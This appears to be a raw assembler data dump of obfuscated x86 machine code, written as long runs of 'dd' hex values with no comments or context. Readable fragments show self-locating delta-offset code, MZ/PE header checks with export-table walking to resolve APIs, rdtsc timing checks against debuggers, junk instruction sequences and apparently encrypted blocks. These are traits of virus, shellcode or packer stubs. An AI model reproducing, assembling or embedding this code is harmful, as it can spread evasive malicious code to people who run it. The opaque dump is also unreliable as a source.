		dd 621907Ah, 9E960h, 5A5E0000h,	0C3DD347Dh, 664B1EFCh
		dd 9061C68Bh, 18870Fh, 13E90000h, 3F000000h, 0CCFC5978h
		dd 6BFA3B37h, 6DCF818Dh, 0C8D57C51h, 505083CCh,	6850F52h
		dd 50000000h, 5A310F52h, 60310F58h, 0D6BEFA8Bh,	614E1269h
		dd 8990585Ah, 1E05DD8Dh, 35FF6406h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7CC35242h
		dd 0E7769234h, 8964DF91h, 25h, 88D0F00h, 0F000000h, 28Ch
		dd 1616000h, 1E1D158Dh,	18858D06h, 6A062191h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 6986C351h, 0B4969CE8h, 0A9C8284Fh, 1E299529h, 6089061Eh
		dd 51006A01h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0C5DECB72h, 0CB816660h, 0BD8958CEh, 61E0205h
		dd 85C6F861h, 61E2041h,	1890F4Fh, 0F8000000h, 4E8h, 0C8742A00h
		dd 6800FFEh, 60000000h,	61606160h, 66605061h, 0BE1A74BBh
		dd 46AF6FEAh, 24448B61h, 0F525004h, 0C8Bh, 7E900h, 99AE0000h
		dd 8EBF973h, 50310FC8h,	0F525052h, 0F585A31h, 0F525031h
		dd 5A585A31h, 8B585A58h, 0CE900h, 0C8120000h, 53E6F253h
		dd 0BF575C50h, 44899539h, 12E90424h, 67000000h,	3558D701h
		dd 7E3B7BFEh, 5D2C2853h, 0E6FB3DFAh, 6A580Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0A49D4C3h
		dd 0DE608FEDh, 49BD294Ch, 0FF061E1Eh, 1E3291B5h, 6840F06h
		dd 89000000h, 1E1B9195h, 8B666006h, 8D61F9CEh, 2178D185h
		dd 0D0FFF906h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	3AC35646h, 811E12F5h, 29E99A7Ah, 1E024D9Dh, 0A6E906h
		dd 8B600000h, 1E1F8DB5h, 5C8B6106h, 0E8550C24h,	0
		dd 84ED815Dh, 8B062190h, 1E02F185h, 91858906h, 8B061E32h
		dd 1E145585h, 65858906h, 8B061E2Ah, 1E1E9D85h, 0DD858906h
		dd 0C6061E07h, 1E204185h, 85C70006h, 6217A21h, 0
		dd 9118858Dh, 83890621h, 0B8h, 0C3C0335Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BAC35747h, 1F202785h
		dd 6095F1B6h, 0D840Fh, 8E90000h, 23000000h, 25A8A0D8h
		dd 0FCABCC8h, 48Ch, 0BB86600h, 0B53161D0h, 61E17FDh, 12FF74BCh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 868D2E1Fh, 64D3E941h, 58Fh, 83F80000h, 958904C4h
		dd 61E20E5h, 83E961h, 51530000h, 8B575652h, 661C245Ch
		dd 5A4D3B81h, 68850Fh, 0B70F0000h, 0D8033C43h, 503B8166h
		dd 57850F45h, 8B000000h, 5C03785Bh, 738B1C24h, 24740324h
		dd 7B8B561Ch, 1C738B20h, 20247C03h, 20247403h, 0FFC983FCh
		dd 245C8B41h, 3178B1Ch,	83202454h, 28A04C7h, 874C084h
		dd 0E875033Ah, 0F2EB4243h, 0E075033Ah, 0FE1D15Fh, 8B0F04B7h
		dd 44038604h, 5E5F1C24h, 0C25B595Ah, 0C0330008h, 0FFFFF1E9h
		dd 0E8CA8BFFh, 0Ch, 67529C84h, 906DDC5Ch, 0B463A8FEh, 66575259h
		dd 58E13ABEh, 55C1815Ah, 0F00006Bh, 9BBBD3B7h, 0E800001Ah
		dd 11h,	0F858E496h, 5B06058Ah, 8AD98C17h, 0FBE3C72Ch, 8B66601Ch
		dd 0CE9FAh, 27EF0000h, 0E7D9B34Ah, 81F3EBDAh, 5861B7F5h
		dd 8B66398Bh, 0C1EF81F7h, 6674C849h, 816BD0B8h,	33835FF7h
		dd 0FCE813Ch, 8175A514h, 6CEF19EFh, 65E28034h, 8D0F3989h
		dd 2, 0E983C68Bh, 0F2816603h, 0F49B8E4h, 128Ah,	0DE900h
		dd 0ADAD0000h, 84B1BE90h, 6A98A556h, 8188AF31h,	1EBh, 20850F00h
		dd 52000000h, 0F6816656h, 5E5E177Ch, 34E9h, 75BF4300h
		dd 0BA70D534h, 1DE6D4FAh, 0B3CFA783h, 0E93F3CCCh, 8, 23DB03B0h
		dd 0E11C6260h, 0FFFF73E9h, 877578FFh, 7A8B4D4Dh, 350F7F6Ch
		dd 4CD059Bh, 148E9B0h, 500000h,	540000h, 580000h, 5C0000h
		dd 600000h, 640000h, 680000h, 6C0000h, 0B00000h, 0B40000h
		dd 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h, 0CC0000h
		dd 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 0E00000h, 0E40000h
		dd 0E80000h, 0EC0000h, 38h dup(0)
		dd 810E0000h, 50EB0056h, 858D009Eh, 62192D2h, 94128589h
		dd 0DF810621h, 700FE413h, 204185C6h, 5754061Eh,	4E85Fh
		dd 68290000h, 0FA8BEE62h, 317EB950h, 448B6179h,	8B0424h
		dd 11E8h, 0FBE53300h, 8858548Eh, 0F39ED65Eh, 0BAB2974Ah
		dd 1EB73704h, 2444895Ah, 66606004h, 5DBBF08Bh, 61013095h
		dd 0DE8B5861h, 3291B5FFh, 858D061Eh, 62178D1h, 0D0FFC88Bh
		dd 1D959529h, 8589061Eh, 6219416h, 14E9h, 17CE7400h, 9CB5BC89h
		dd 841D01EDh, 56C239B2h, 0B895075Bh, 47E9C6h, 0B9660000h
		dd 8B56C9F8h, 219412B5h, 83068906h, 21941285h, 0C35E0406h
		dd 0D2B58D60h, 0EB062192h, 6A560Fh, 95FF36FFh, 6219416h
		dd 4C6835Eh, 75003E83h,	2BC361ECh, 1E0E399Dh, 68F0F06h
		dd 8B000000h, 1E3181B5h, 0C8858D06h, 89062194h,	1E193585h
		dd 0E5E906h, 4D100000h,	71DCFFEEh, 0A1D1F32h, 8FDD7A0Eh
		dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh,	0DF6DF73Dh
		dd 0D773D575h, 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh
		dd 0D57F2D77h, 577DD77Dh, 0DF6D171Eh, 20602075h, 0E0202060h
		dd 0AC2060E0h, 0A9F77B68h, 0D020A1E4h, 0EDA693B2h, 91B99DB7h
		dd 20ACA3F2h, 20602060h, 0E0202060h, 752060E0h,	0D0A3353h
		dd 20557D2Fh, 20602060h, 2BA72860h, 0D650F036h,	0EFB6F360h
		dd 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h, 0F76DB9E9h, 2 dup(20602060h)
		dd 0DF6DF720h, 0D773351Ah, 0F73D577Dh, 75D55FEDh, 6D373353h
		dd 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h
		dd 0F73D577Dh, 75D55FEDh, 6D373353h, 1E357D2Fh,	0A8000E0Ah
		dd 54A766C1h, 3143F2FDh, 0E955DD15h, 0C5Ah, 21987C68h
		dd 0E9A1E906h, 7B68FFFCh, 0E9062199h, 0FFFCE997h, 219A3968h
		dd 0E98DE906h, 2568FFFCh, 0E906219Bh, 0FFFCE983h, 219B8768h
		dd 0E979E906h, 2068FFFCh, 0E906219Ch, 0FFFCE96Fh, 219D5268h
		dd 0E965E906h, 3468FFFCh, 0E906219Eh, 0FFFCE95Bh, 219EE868h
		dd 0E951E906h, 0CD68FFFCh, 0E906219Fh, 0FFFCE947h, 21A0D768h
		dd 0E93DE906h, 7011FFFCh, 0B73550C5h, 0DA5E79EEh, 0EC8BA61Bh
		dd 30B5D045h, 0C5B7F86Dh, 0FB7035BAh, 229742E0h, 4DC26707h
		dd 71E68F32h, 25BFD571h, 313F4669h, 0F0063E7Ch,	3F4668F4h
		dd 6942A2B8h, 0CF143F46h, 0AF67165Bh, 1331F073h, 955976FAh
		dd 7438D5E9h, 0F4D685ACh, 381AC75Bh, 0BF71B7B4h, 0C600753Ch
		dd 736C788Eh, 2A403925h, 392573BAh, 9EE3579Ch, 680930EFh
		dd 8A3D344Ah, 16333F43h, 0B750CD90h, 0F58DE312h, 710AEC13h
		dd 97B227CEh, 0D56B4D14h, 3306D90Ch, 8F7134B9h,	57D677F6h
		dd 6E85678Eh, 0A383D043h, 5E5B4593h, 54573E18h,	18D95C0Eh
		dd 9B5AE1FAh, 0D95C77ECh, 1A9D3618h, 0F5F8795Bh, 21C5DEAFh
		dd 2BCECD7Ch, 3F3D158Ah, 0F887E38Eh, 51Ch, 0C7BD5442h
		dd 7BD7A7C8h, 0D85B5A09h, 1B9E3719h, 83233C5Ah,	0C463FCDEh
		dd 537A3B1Dh, 0E5542FA4h, 0ADD76E8Ch, 0B414CD6Ah, 3429BBD1h
		dd 0E82D3925h, 0BCF412C1h, 33766E84h, 9BE03925h, 5169F0ECh
		dd 962D3F43h, 0B149DD19h, 1872EFA5h, 5F434059h,	0F53AAE5Dh
		dd 6A637D13h, 0AC493307h, 475D9566h, 33076A9Dh,	9C574B9h
		dd 87E3390Bh, 0A7B6B74Eh, 0ABF845E4h, 4D54FCh, 0B39E0000h
		dd 0B9CFED86h, 3F42FE4Ch, 0D0E9074Ch, 0E6A78928h, 21BF5537h
		dd 0A23306A8h, 34F97E1Fh, 5D732B0Dh, 3306A787h,	0EA8B8ACFh
		dd 5D4E6547h, 70862D39h, 0EA30331Ah, 0FEE10319h, 30753305h
		dd 1056F309h, 0E4A8A3A1h, 0D15C87h, 73A60000h, 0B64F31F0h
		dd 0F18A6C31h, 5189A74Eh, 24D2A93Bh, 0F7ED0339h, 5F3924D2h
		dd 6261A61Ah, 763719DCh, 0A94CE5C7h, 567B9308h,	4F3924D6h
		dd 50E705ACh, 0BDA9F241h, 0FF742303h, 0BEA041E4h, 819FD465h
		dd 42035E6Bh, 87DC23Fh,	49670C2Dh, 2BA17A11h, 0CF9F1109h
		dd 5CF62420h, 87CC3927h, 11B7D269h, 0D5735BDFh,	0B7D00826h
		dd 0CE8F7130h, 0DA9F201Fh, 0A54A65h, 27A2893Eh,	0BB4345ECh
		dd 935h, 3AAF6AF7h, 63D8991Fh, 88FDA448h, 0B227CE6Dh, 0DE531697h
		dd 1FA0AB9Dh, 38CAE55Ah, 49ED087Dh, 91142FA4h, 0BF5B5BD0h
		dd 466B3BA9h, 8E661B3Fh, 0BA2FF273h, 2EFF1C9Fh,	0B4C56C12h
		dd 18964E64h, 7BC03925h, 8B7CD754h, 0BBD7E5EEh,	0B34B1F94h
		dd 0B9CFED86h, 3F42FE4Ch, 8F25074Ch, 3306A751h,	978BE5Bh
		dd 87E4000Bh, 0F0AD354Eh, 0F69E4D0Eh, 0D4h, 31F07340h
		dd 0AD00974Fh, 0B883ED0Ah, 0CA6B6A19h, 0DD04AD4Fh, 872A43FBh
		dd 8C3BFCDEh, 25774190h, 20C16439h, 44ED90ABh, 43300962h
		dd 1EB5ED25h, 0D7F84688h, 37ADA991h, 1F3924FEh,	9A2F2BDAh
		dd 863F430Ah, 4123C269h, 9E45980h, 0B1334C30h, 514D0EF0h
		dd 3306F093h, 39577EC3h, 2799E623h, 5775BA39h, 0D6F4B93Eh
		dd 0B3C5E73Fh, 0AD4CD464h, 0B92EDD04h, 475D199Eh, 2CE67B9Dh
		dd 8B4D74B9h, 0EC276B36h, 3676FE00h, 0F8000008h, 1E39AE6Bh
		dd 4762D79Eh, 6C87FCA5h, 94AF24CDh, 98D94E13h, 571A9BA6h
		dd 7E3BC7E2h, 0A548EE09h, 0D3921530h, 0ACC25E5Eh, 3F466C38h
		dd 7391691Eh, 9FBA2FF2h, 9C485E1Ch, 103924D2h, 24D2EAFAh
		dd 0B3276C39h, 0FED2476Eh, 0D759F073h, 446B2C0Eh, 7F26C962h
		dd 0CD2B540Ah, 23327336h, 0C0DDC36Dh, 0C0078445h, 0F2B160ECh
		dd 0F60C2A47h, 3F43A32Bh, 0CE8660A5h, 0C47332B5h, 0CFD742C8h
		dd 4F241531h, 21561B31h, 0D51A3A5Dh, 32BE20B7h,	33186DCAh
		dd 0F049A284h, 624F6583h, 0E4344170h, 0DB8A37CBh, 0CC042267h
		dd 8A6C35B3h, 981B1AC9h, 0A64964D9h, 6B163DFFh,	0B6B8E73Fh
		dd 7782Eh, 0ECA93A00h, 15DC5C77h, 42E385A0h, 6A0BB2CDh
		dd 9055DAF5h, 0DDE8DA1Bh, 5209558h, 304BC07Dh, 5B76EB8Eh
		dd 0A4A419D8h, 6CF2F208h, 0AF643F46h, 31F073D7h, 2E43F64Fh
		dd 0D37FFA10h, 0BC013F42h, 0A4CD6C47h, 8CDBEF86h, 0FC3464FFh
		dd 0AA192F4Dh, 0C039284Dh, 0A48EF188h, 15D083BCh, 0E563CB19h
		dd 97468B2Ch, 0C5938823h, 0C677FAF7h, 1149819Fh, 0E5B7E9FBh
		dd 79286D2Ch, 0CC56F77Ah, 5A75EA11h, 742C0ED7h,	0B7BE263Ch
		dd 53982CE5h, 1F54E5A4h, 31B3C901h, 252CE5B8h, 0FD1331E0h
		dd 33074CEDh, 512B34CBh, 6CF2F457h, 52AC384Eh, 65AA26C4h
		dd 0DFFD42B6h, 9C7E27C6h, 965BDCDBh, 2644F3B4h,	56CB6A0Dh
		dd 0EEA3B83Bh, 86D35C52h, 7203E65h, 1DDEC061h, 6338C6Eh
		dd 68394F6Dh, 682CE2B6h, 7B0C6123h, 0C4C6DFE7h,	68C3Ch
		dd 8B54E00h, 31F07893h,	561FA1BCh, 7E27C6E1h, 0A449EE09h
		dd 0F1FCEE2Fh, 1934A94Ch, 3C57CC89h, 6782F7BAh,	0A8A81DC4h
		dd 6DEEF60Ch, 0B3683F46h, 9786B3DBh, 0F19D6CBDh, 82A0C7A6h
		dd 473D866Ch, 89A7EC3Fh, 0AF24CD70h, 6E501194h,	314F2415h
		dd 22145E1Bh, 1BDD2239h, 0EC26FF44h, 2A089092h,	0EC000006h
		dd 1A35AA57h, 435ED392h, 708B00A1h, 98B328C9h, 9CDD5217h
		dd 5B1E9FAAh, 8A37CBE6h, 0B174FA15h, 0D79E213Ch, 0B0C66262h
		dd 3F466E34h, 0B3956D22h, 97CFED86h, 5537FE7Eh,	0F1501794h
		dd 20EBC3Ah, 346C5753h,	63A83F47h, 0E8892C45h, 34D55873h
		dd 0E3C5ECB5h, 0B2CBAF8Ah, 776D690Ch, 0DF330408h, 94763FC2h
		dd 6785ACD3h, 259D9951h, 6684C939h, 0ED0BAA4Dh,	0BB7ACB56h
		dd 0CC7BE765h, 0F8B93C57h, 0F77CBD16h, 0F7DEC3D9h, 0ADF232FFh
		dd 4BC8EEBh, 0EE7678E6h, 591h, 9E13CE53h, 0C73CE583h, 0F46908ACh
		dd 1E9352D9h, 4ABF6203h, 6B0C1709h, 0AC3651C6h,	0DD617CF1h
		dd 0E588A318h, 2BC7C73Ch, 466ECF15h, 0FAD2873Fh, 4F31F073h
		dd 9B495F97h, 0BB3924D2h, 25C8C776h, 7B5D04A4h,	431E93BAh
		dd 0A20F27F6h, 0AF2DF93Bh, 5546A88h, 3B3F433Fh,	627E14F6h
		dd 4A330703h, 0FAF867ADh, 0B387E39Fh, 2Ah, 0ED86B3FDh
		dd 0FE4CB9CFh, 89A23F42h, 9E5F41E4h, 0A958199Fh, 780EF035h
		dd 3306A768h, 0F261A744h, 87E3FFF4h, 0D6ADh, 0F073F700h
		dd 0B43AD359h, 274E0FF1h, 7B5D8445h, 7A985DE2h,	3517DE61h
		dd 4AE3C574h, 831CFEA7h, 0A2341E0h, 1EDFC164h, 0EFE2FA6Fh
		dd 0B63924D6h, 0CF981C33h, 6EC770B8h, 34B7D247h, 7B846076h
		dd 8DD23924h, 8C2F4866h, 0E5C76E0Dh, 821BFD24h,	5F0E35E0h
		dd 5C15247Dh, 88D1283Eh, 6AAF3F42h, 521F1AF5h, 8D65FC34h
		dd 8773BD51h, 229CC71h,	12C16003h, 27756B16h, 0C2E02539h
		dd 0E58904A9h, 22C55E40h, 0B9E0A183h, 0CAE31D92h, 0D0CF7E27h
		dd 0C3C88A2Fh, 0BEC2707h, 45F8109h, 80210000h, 0A74560D5h
		dd 0CA6E89FEh, 1C9BB62Bh, 20C5E055h, 0D5C7087Dh, 0B8025CAh
		dd 32A752F0h, 5DD29717h, 81F6BF42h, 15CFE581h, 413F4670h
		dd 0F273B48Ch, 1C9FBA2Fh, 0B30CE055h, 97CFED86h, 0C8D48000h
		dd 8938BA66h, 4340788Dh, 0CEE4203Fh, 3306EA16h,	0E9648096h
		dd 0ADF23306h, 0EBCDF439h, 6E98B55h, 3E842133h,	0E3BDD1CFh
		dd 0BE8A87h, 556E0000h,	0A65E0DD0h, 0C9DBF073h,	0B11029DFh
		dd 44E98D8Ch, 1DA23B1Dh, 0F1E07658h, 95392546h,	3E9D475Dh
		dd 74B93925h, 8223C6C5h, 0A64FF20Dh, 0A5CE6BC4h, 0D266F087h
		dd 6F55F1D2h, 6D8CA2C0h, 133F4386h, 0BB7E59CEh,	0A08298B6h
		dd 88392814h, 7928C96Fh, 0C841E805h, 0DFA08227h, 0EE15D6B8h
		dd 7336B7D0h, 9F42E3FEh, 27ADA8DDh, 0E0686AECh,	37Dh, 82F7A23Fh
		dd 0AB20C167h, 0D045EC90h, 0FA6F36B5h, 269B5EDFh, 47E8F3E5h
		dd 70122DA2h, 0B13550C5h, 0D95C77ECh, 7A3A318h,	4670F3F1h
		dd 0D6AE633Fh, 0D457F273h, 436A2B0Dh, 7130B3CEh, 642BC2FCh
		dd 0B6E3DE00h, 2DE87A79h, 23DB8A4Bh, 4F31F073h,	0FD7233B6h
		dd 18213647h, 0FA273D5Bh, 0D63F42F2h, 0D35A7391h, 16973012h
		dd 0A37D2C53h, 3C297B0Dh, 1061D8D7h, 40A4BAF2h,	168ED13Ch
		dd 0BFDD54D1h, 9D22C70Dh, 8BBAD0EEh, 8D94EF2Fh,	2C0D6648h
		dd 9E132947h, 528ED453h, 53D6EF0Dh, 7F021D92h, 0FC46DC60h
		dd 1E456373h, 0D256BB5Ch, 1898B41h, 2C9h, 0D64BF68Bh, 0FF743DBBh
		dd 2CA140E4h, 56CB6A11h, 82F7BA3Bh, 0A3444F41h,	0D46E89FEh
		dd 1599B429h, 3DC0DB50h, 63FFFF74h, 4670974Dh, 320ABF3Fh
		dd 1331F073h, 94B273FAh, 24D2667Eh, 0FCABF039h,	0A249621Ah
		dd 61602103h, 743517DEh, 3E3306C5h, 4AB0A20h, 84D3F43h
		dd 62AEDD93h, 0F309A549h, 3306A0F1h, 17F92065h,	51E8A756h
		dd 0F50BA748h, 3306A0EFh, 19FB2267h, 0FD133158h, 3924C124h
		dd 0F78D67ACh, 0E976EFE5h, 40F82316h, 5F99A80Fh, 0EC022047h
		dd 7678F185h, 0CC4A6EBh, 9EC84075h, 7597BDB7h, 7DFE7B02h
		dd 24CD6B45h, 0AB5A8142h, 0E4CE4DECh, 4A1E64F5h, 588CA2C0h
		dd 0FE6A3C65h, 5E7492B9h, 705DDE53h, 213A589Dh,	37F8DA9Bh
		dd 0AE516A88h, 0F4779207h, 0D8A66B2Dh, 8E90235Bh, 1E406h
		dd 601DA600h, 8928D0EBh, 0AE77F914h, 0D69F1E39h, 0FCA14661h
		dd 49544687h, 718C01A4h, 94AF24D1h, 0BFDA4F12h,	753Ch
		dd 71964E64h, 0BC03F46h, 31F07333h, 2E43F64Fh, 23BFD810h
		dd 5ACBC776h, 0D43F42D8h, 94763BBBh, 15B024D3h,	79377757h
		dd 0B4E3F1FFh, 41559F43h, 0C87EF31Ah, 8F8EABBCh, 72D422B6h
		dd 0AFCDF4C0h, 24A08899h, 8D2B4839h, 869FBDE4h,	9F6042E3h
		dd 0C75E16F0h, 0B2C84921h, 2CE88332h, 9B62DF24h, 9B9411A0h
		dd 5574C7A7h, 0C3817D2Ch, 8E5DB44h, 0EA224031h,	0F56C10D4h
		dd 5E869C73h, 0F873F56Bh, 0DCFA3FB3h, 0F56C1EC6h, 44F33873h
		dd 9E611026h, 0CA0F7A13h, 0F1AA8FE8h, 7C8AA4Bh,	0DDBF7A08h
		dd 9FD7F51Ch, 5D3FE686h, 0C0F1ED9Ch, 3073F8B1h,	5D95CDEBh
		dd 0B5BF9D47h, 677DB967h, 67B5BF7Dh, 0BE6D94D9h, 753CBFh
		dd 344D42E5h, 297C125Ch, 3B1DD86Ah, 6A2C537Ah, 26F691B9h
		dd 0DAFB8385h, 9C000000h, 0CAE55A07h, 0F30E8322h, 203BB071h
		dd 4863D899h, 4C8D02A7h, 0BAE4F5Ah, 3AE77B96h, 6104AAC5h
		dd 872ED1ECh, 60761212h, 3F467284h, 73451DD2h, 0DB1331F0h
		dd 97793CC2h, 0D30ADAD6h, 74C3924h, 1C1D7658h, 133AFF7Fh
		dd 0FE0ADFF5h, 11563F42h, 0FB78C19Ch, 0E10EA5DDh, 4198611Dh
		dd 62696514h, 0C2392793h, 7F029B7Dh, 832641B6h,	286A00E2h
		dd 1480E11Fh, 9C1FD117h, 5DE27BFDh, 0CE8F7198h,	941732A7h
		dd 0AB52EBCDh, 0C55DDBB4h, 0DFA08223h, 0E8935262h, 0B571DFC1h
		dd 62001B9Ch, 0EE5DA603h, 283E5C83h, 0D8E761BCh, 23A6559Ah
		dd 59750CDDh, 2FE2C948h, 0AD504FFEh, 3C558F04h,	0DF93A3B8h
		dd 0FAB1C6BFh, 8130F1D3h, 5436FF82h, 42FF839Ch,	3A593h
		dd 7F730000h, 33EE73A7h, 6C35B851h, 0A84DF18Ah,	0E8952DC6h
		dd 25C86D06h, 6005AA43h, 9F46E57Eh, 0E18024BDh,	1FC666FFh
		dd 8953003Dh, 4C381E3h,	83000000h, 1C3304EBh, 241C3124h
		dd 5C241C33h, 6EEE68h, 243C8900h, 4F6968h, 24148900h, 428468h
		dd 242C8900h, 219662BDh, 5DEF8906h, 5ACD68h, 24248900h
		dd 4240481h, 5A000000h,	34815751h, 0A33BB924h, 0F1815937h
		dd 37A33BB9h, 59084A89h, 5A2434FFh, 4C481h, 34FF0000h
		dd 0C4835F24h, 0DD59E904h, 6650FFFCh, 2D8FD053h, 0D6B8AEB8h
		dd 30621A1h, 80E0FFC5h,	93AE625h, 0B5676DB0h, 0C75B0401h
		dd 92320FFFh, 371708BCh, 0B17CC198h, 0C36CC8CFh, 7054D66Fh
		dd 3818CCD2h, 2931F3B1h, 0EB5A8CC8h, 0E09104Bh,	1AC53C2Fh
		dd 0A4ACDA4Bh, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh
		dd 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h, 49828Eh
		dd 0D5A3EA1Ah, 0
		dd 0FEBF199Ch, 0FE3D0000h, 0FBh, 27E64128h, 0C3727DD4h
		dd 0D09E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0DD80BE79h, 2DBD832Fh, 61E27h, 5A850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 7F1EC8C3h, 815C71C1h, 5187DAC9h, 0B834h
		dd 8D090000h, 61E0975h,	6A0004C2h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8F5EC350h
		dd 1BC7544Bh, 0D88ACD59h, 0BD8BC08Bh, 61E2701h,	1D79BD83h
		dd 7500061Eh, 25BD8309h, 61E2Bh, 53501374h, 0D0B8C08Bh
		dd 8D000004h, 20AA0E9Dh, 5BD3FF06h, 25BD8358h, 61E2Bh
		dd 53501174h, 4D0B8h, 5B9D8D00h, 0FF0620A9h, 6A585BD3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 3FE8C351h, 6A3492B2h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8939C353h
		dd 1E3281BDh, 8DC08B06h, 21A2C885h, 7E85006h, 5A000000h
		dd 3E991C9h, 41B6D5A2h,	24048959h, 9E8h, 10575700h, 4315BBA9h
		dd 7E94D07h, 0B0000000h, 96609708h, 8D59DE10h, 21A28585h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 7D20953Fh, 377BAA32h, 6830Fh, 95890000h
		dd 61E02A5h, 58E0Fh, 0D6BA0000h, 50081D68h, 0AE860h, 934D0000h
		dd 0B0A0D01Eh, 23705426h, 2C10BF66h, 0BE49BE58h, 89614A32h
		dd 0CF812404h, 7CB836CEh, 275DBD89h, 95FF061Eh,	61E13C1h
		dd 448B3FB2h, 0ABBF0424h, 8149F5D5h, 6B0999C7h,	0B085896Ch
		dd 890621A2h, 1E099585h, 24448B06h, 57006A08h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 81E62566h
		dd 0CB28A2EBh, 0C4858948h, 290621A2h, 1E20019Dh, 0B1BD8306h
		dd 61E07h, 0D8850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0A3AB39C3h, 8A519526h
		dd 4185C6F1h, 47061E20h, 68DEBF0Fh, 0ACCD1E43h,	60605250h
		dd 8BF6661h, 310F6180h,	2870Fh,	5B20000h, 3481585Ah, 57B99124h
		dd 0C9BD8B78h, 0FF061E07h, 1E3291B5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0E98FB541h, 6, 1FD1CC36h, 858DCA31h,	62178D1h, 8E8h
		dd 8DC2E600h, 940550F2h, 0DAB70F40h, 0F28B605Bh, 13659589h
		dd 0FF61061Eh, 56006AD0h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0E879E1E8h, 0F85388Ch
		dd 8589D0BFh, 61E07B1h,	236D8D29h, 0BD83061Eh, 61E3195h
		dd 0A0850F00h, 0E8000000h, 10h,	0F11C926Ah, 1F8A6A03h
		dd 82350470h, 1EDC5713h, 3519D8Bh, 0C659061Eh, 1E204185h
		dd 68F54706h, 0B654B5FEh, 683533BBh, 2434817Ah,	3C5B001Ch
		dd 840Fh, 0B5FF0000h, 61E3291h,	8DCFBF0Fh, 2178D185h, 0AE96006h
		dd 1A000000h, 6310F14Bh, 0DB65AADCh, 61F28BFDh,	6AD0FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 38D97AC3h, 0B55ED9C8h, 0B589A076h, 61E26CDh,	31958589h
		dd 0CE9061Eh, 8000000h,	0D5FAC594h, 0F178A726h,	83720987h
		dd 1E1D81BDh, 850F0006h, 108h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 33C35646h, 97D6F9D4h, 0D61584AEh
		dd 4185C65Bh, 56061E20h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 0F7C35242h, 158D89EEh, 68061E30h, 93783AC7h
		dd 81D18B66h, 32722404h, 9D0140A7h, 61E2F5Dh, 3291B5FFh
		dd 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 11A0BC3h,	13E9510Ch, 0D1000000h, 0E6C2A9F9h
		dd 0A139F3A3h, 0FC0DDF77h, 4E152CA0h, 8DF8B3F7h, 2178D185h
		dd 95895706h, 61E174Dh,	6AD0FF5Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1FC0C353h
		dd 0C48BF716h, 0B091FE2Bh, 1731BD0Bh, 0BF0F061Eh, 0C88160DBh
		dd 3286D21Ch, 1ED18589h, 8961061Eh, 1E1D8185h, 0EE906h
		dd 0CE320000h, 8CFBF385h, 8B5298FDh, 6B7DBB91h,	204185C6h
		dd 8B6C061Eh, 1E1EFD95h, 74F86806h, 6660A990h, 860FD08Bh
		dd 4, 0F3A0B866h, 24348161h, 7295047Bh,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 0C35343h, 9A60EBD1h
		dd 8BA07A07h, 1E03F9BDh, 0F1B5FF06h, 8B061E02h,	0FA858DD1h
		dd 81061E38h, 0C4508DD9h, 8BD0FF7Ah, 1E1809BDh,	0B4858906h
		dd 0F0621A2h, 46AD1B7h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 21C35747h, 15BACAA4h,	0E85967F5h, 4
		dd 1000h, 8E857h, 6180000h, 80D4ACB0h, 870FE6D9h, 0
		dd 50505B5Bh, 8B666052h, 61CB8BCEh, 8B52310Fh, 585A59CFh
		dd 424448Bh, 77B626BFh,	0BA008B0Fh, 0D1BA40Ch, 4244489h
		dd 58C88B66h, 4E8D18Bh,	0
		dd 50000100h, 0DE856h, 0F0EA0000h, 53385A2Bh, 0D39EB622h
		dd 5A7F6E99h, 24448B5Fh, 0F8C0F04h, 0E8000000h,	5, 1AC7EDB2h
		dd 0F2BF6605h, 8B59C0h,	860Fh, 44890000h, 0D98B0424h, 0D38B6658h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0B71547C3h, 95FFB65Bh, 61E1355h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0BAC35545h, 0A2C08589h
		dd 6A0621h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
